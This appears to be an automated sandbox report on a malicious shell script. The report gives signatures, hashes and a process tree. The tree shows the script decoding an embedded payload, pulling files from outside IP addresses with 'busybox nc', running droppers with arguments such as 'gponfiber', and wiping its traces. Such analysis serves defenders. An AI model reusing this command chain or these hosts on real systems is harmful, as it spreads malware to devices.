Overview

overview

7

Static

static

1

a94f8a0485...end.sh

ubuntu-18.04-amd64

7

a94f8a0485...end.sh

debian-9-armhf

7

a94f8a0485...end.sh

debian-9-mips

7

a94f8a0485...end.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    4s
  • max time network
    6s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/09/2026, 17:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
  • Size 832KB
  • Sample260913-wa8cza1bme
  • SHA256 329c5098ba38ed3103e78e687f55a1265b18706d8483a6a91bde0eed8c3a01f5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
    /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
    1⤵
      PID:705
    • /usr/local/sbin/bash
      bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
      1⤵
        PID:705
      • /usr/local/bin/bash
        bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
        1⤵
          PID:705
        • /usr/sbin/bash
          bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
          1⤵
            PID:705
          • /usr/bin/bash
            bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
            1⤵
              PID:705
            • /sbin/bash
              bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
              1⤵
                PID:705
              • /bin/bash
                bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
                1⤵
                • Writes file to tmp directory
                PID:705
                • /bin/mktemp
                  mktemp -d
                  2⤵
                    PID:711
                  • /usr/bin/base64
                    base64 -d
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:716
                  • /usr/bin/python3
                    python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
                    2⤵
                      PID:717
                    • /bin/chmod
                      chmod +x /tmp/tmp.I9ncp2TMis/embedded.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:733
                  • /bin/bash
                    bash /tmp/tmp.I9ncp2TMis/embedded.sh
                    1⤵
                    • Executes dropped EXE
                    • Writes file to tmp directory
                    PID:705
                    • /bin/rm
                      rm -rf me.apk help
                      2⤵
                        PID:735
                      • /bin/busybox
                        busybox nc 160.22.79.29 443
                        2⤵
                          PID:737
                        • /bin/busybox
                          busybox nc 192.206.117.19 443
                          2⤵
                            PID:746
                          • /bin/chmod
                            chmod 777 instd
                            2⤵
                            • File and Directory Permissions Modification
                            PID:747
                          • /tmp/instd
                            ./instd massload
                            2⤵
                              PID:748
                            • /bin/busybox
                              busybox nc 160.22.79.29 6767
                              2⤵
                                PID:751
                              • /bin/chmod
                                chmod 777 inst
                                2⤵
                                • File and Directory Permissions Modification
                                PID:753
                              • /tmp/inst
                                ./inst gponfiber
                                2⤵
                                  PID:754
                                • /bin/rm
                                  rm -rf a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh inst instd me.apk systemd-private-24bd55172f4e426ab1739bff95477857-systemd-timedated.service-DaX5QE tmp.I9ncp2TMis
                                  2⤵
                                    PID:764

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      embedded.sh
                                      • Path /tmp/tmp.I9ncp2TMis/embedded.sh
                                      • Size 972B
                                      • SHA256 a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download